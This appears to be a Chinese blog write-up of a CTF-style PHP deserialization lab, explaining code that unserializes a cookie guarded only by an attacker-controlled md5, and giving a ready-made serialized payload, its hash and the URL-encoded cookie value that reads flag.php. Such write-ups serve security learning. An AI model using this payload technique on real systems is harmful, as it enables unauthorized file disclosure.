点我
反序列化练习
1、查看代码
2、所用到的函数
●isset():检测变量是否已设置并且非null
●__toString():自动被调用的,直接输出对象引用时自动调用的
●highlight_file():函数对文件进行语法高亮显示
●substr(string,start,length):截取字符串
●md5():计算字符串的 MD5 散列
●serialize():用于序列化对象或数组,并返回一个字符串
●unserialize():用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构
●===:绝对等于,值等于,且数据类型也要相同
3、分析关键代码
if(isset($_COOKIE['todos'])){ //cookie传参,检测todos的传参值是否为空
$c = $_COOKIE['todos']; //$c = todos的传参值
$h = substr($c, 0, 32); //$h = todos传参值的前32个字符
$m = substr($c, 32); //$m = todos传参值的第32个字符以后
if(md5($m) === $h){ //$c = $h.$m ==> $c = $h . md5($m)
$todos = unserialize($m); //如果 md5($m) === $h,那么 $todos = 反序列化$m
}
}
<?php foreach($todos as $todo):?>//遍历数组 $todos是一个数组
<li><?=$todo?></li> //遍历输出$todos中的值到变量todo,<?=$todo?> ----> <?php echo $todo ?>
<?php endforeach;?>
4、在本地构造出falg.php的序列化
序列化值:a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
5、进行md5加密为 e2d4f7dcc43ee1db7f69e76303d0105c
6、进行拼接 传参的todos的值为e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
7、抓包修改cookie的todos传参值
注意:cookie传参会进行一次URL编码 故需要将todos的值进行一次URL编码后进行传入 URL编码后的值:
e2d4f7dcc43ee1db7f69e76303d0105ca%3A1%3A%7Bi%3A0%3BO%3A6%3A%22readme%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D
分类:
WEB安全
版权申明
本文系作者 @小白学安全 原创发布在 xbxaq.com 站点,未经许可,禁止转载!
目录
暂无目录
评论